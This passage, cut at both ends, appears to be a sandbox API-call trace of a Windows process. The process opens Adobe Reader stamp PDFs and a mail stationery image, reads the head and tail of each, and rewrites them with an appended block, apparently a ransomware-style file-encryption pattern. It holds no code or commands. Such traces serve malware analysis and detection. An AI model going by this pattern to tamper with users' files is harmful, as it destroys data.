lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.159] CloseHandle (hObject=0x1ac) returned 1 [0035.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.161] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.161] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa447 [0035.161] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.161] ReleaseMutex (hMutex=0x128) returned 1 [0035.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.161] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.165] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9447 [0035.165] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.165] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9447 [0035.166] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.166] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.166] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.166] CloseHandle (hObject=0x1ac) returned 1 [0035.167] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.167] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.167] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x95a4 [0035.168] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.168] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.168] ReleaseMutex (hMutex=0x128) returned 1 [0035.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.168] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.169] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x85a4 [0035.169] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.170] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x85a4 [0035.170] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.171] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.171] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.171] CloseHandle (hObject=0x1ac) returned 1 [0035.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.172] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.172] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x19c87 [0035.172] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.172] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.172] ReleaseMutex (hMutex=0x128) returned 1 [0035.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0035.172] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.174] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x18c87 [0035.174] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.175] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x18c87 [0035.176] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de6e18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6e18*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.176] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.176] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.176] CloseHandle (hObject=0x1ac) returned 1 [0035.178] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.178] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.178] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa118 [0035.179] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.179] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.179] ReleaseMutex (hMutex=0x128) returned 1 [0035.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.179] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.181] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9118 [0035.181] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.182] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x9118 [0035.182] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de6f18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6f18*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.182] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.182] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.182] CloseHandle (hObject=0x1ac) returned 1 [0035.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.183] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.184] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x80f5 [0035.184] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.184] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.184] ReleaseMutex (hMutex=0x128) returned 1 [0035.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.184] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0035.184] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.186] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x70f5 [0035.186] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de7218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de7218*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.187] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x70f5 [0035.187] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de7218*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de7218*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.187] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.187] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.187] CloseHandle (hObject=0x1ac) returned 1 [0035.188] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.188] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.188] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x18efb [0035.188] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.188] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.188] ReleaseMutex (hMutex=0x128) returned 1 [0035.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0035.189] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.190] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x17efb [0035.190] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.192] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x17efb [0035.192] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.192] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.192] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.193] CloseHandle (hObject=0x1ac) returned 1 [0035.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.194] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.194] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xb189 [0035.194] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.194] ReleaseMutex (hMutex=0x128) returned 1 [0035.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.195] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.552] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xa189 [0035.552] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.865] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xa189 [0035.865] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.865] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.865] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.866] CloseHandle (hObject=0x1ac) returned 1 [0035.867] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.867] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.867] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x432 [0035.867] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.867] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.868] ReleaseMutex (hMutex=0x128) returned 1 [0035.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bears.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bears.jpg", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bears.jpg", lpUsedDefaultChar=0x0) returned 9 [0035.868] ReadFile (in: hFile=0x1ac, 